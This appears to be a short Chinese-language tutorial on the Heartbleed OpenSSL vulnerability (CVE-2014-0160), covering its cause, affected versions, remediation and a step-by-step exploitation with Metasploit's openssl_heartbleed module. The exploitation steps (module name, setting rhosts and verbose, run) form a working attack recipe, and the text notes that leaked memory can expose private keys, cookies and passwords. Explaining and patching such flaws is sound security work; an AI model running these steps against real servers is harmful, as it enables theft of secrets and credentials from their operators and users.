心脏滴血(CVE-2014-0160)
0x01 概念
心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。
摘自百度百科
更专业的说:
OpenSSL的Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
0x02 受影响的版本
- OpenSSL 1.0.2-beta
- OpenSSL 1.0.1 - OpenSSL 1.0.1f
0x03 漏洞利用
使用工具:Metasploit
第一步 搜索模块
ps:搜索关键字即可
search heartbleed
第二步 使用模块
use auxiliary/scanner/ssl/openssl_heartbleed
第三步 查看参数
show options 发现需要设置目标ip,端口443默认设置。
第四步 设置参数利用
set rhosts 目标ip 设置目标ip
set verbose true 设置内容现实
第五步 攻击利用
run/exploit 两个命令都可以
0x04 漏洞危害
下图就是攻击后返的内容:
我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。上图为获取到的账户密码信息。
0x04 漏洞修复
- 停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。
- 修改密码。